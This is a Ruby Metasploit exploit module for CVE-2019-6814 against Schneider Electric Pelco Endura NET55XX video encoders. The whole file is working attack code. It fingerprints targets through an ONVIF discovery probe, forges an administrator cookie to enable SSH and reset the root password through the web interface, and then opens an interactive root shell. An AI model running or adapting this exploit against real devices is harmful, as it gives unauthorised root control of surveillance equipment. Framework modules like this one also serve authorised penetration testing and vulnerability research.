##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',
        'Description' => %q{
          This module exploits inadequate access controls within the webUI to enable
          the SSH service and change the root password. This module has been tested successfully
          on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Lucas Dinucci <idntk.lucdin@gmail.com>',
          'Vitor Esperança <vitor@machiaveliclabs.com>'
        ],
        'References' => [
          ['CVE', '2019-6814'],
          ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
        ],
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [ [ 'Universal', {} ] ],
        'Privileged' => true,
        'DisclosureDate' => '2019-01-25',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def check
    xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
                 '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
                 '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
                 '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
                 '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
                 '<a:ReplyTo>'\
                 '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
                 '</a:ReplyTo>'\
                 '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
                 '</Header>'\
                 '<Body>'\
                 '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
                 '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
                 '</Probe>'\
                 '</Body>'\
                 '</Envelope><?xml version="1.0" encoding="UTF-8"?>'

    connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')
      return Exploit::CheckCode::Appears
    end

    CheckCode::Safe
  end

  def change_password
    print_status("#{peer} - Attempt to change the root password...")
    post = { enable: true, passwd: new_password, userid: 'root' }.to_json

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
      'data' => post,
      'headers' =>
      {
        'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
        'Content-Type' => 'application/json;charset=utf-8'
      }
    }, timeout = datastore['TIMEOUT'])

    fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200
    print_good("#{rhost}:80 - Successfully changed the root password...")
    print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
  end

  def do_login
    change_password
    print_status("#{rhost}:22 - Attempt to start a SSH connection...")
    opts = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: 22,
      password: new_password
    })
    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
      end
    rescue Rex::ConnectionError
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:22 SSH - Disconnected during negotiation"
    rescue ::Timeout::Error
      print_error "#{rhost}:22 SSH - Timed out during negotiation"
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:22 SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
    end
    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      return conn
    end
  end

  def exploit
    conn = do_login
    if conn
      print_good("#{rhost}:22 - Session established ")
      handler(conn.lsock)
    end
  end
end
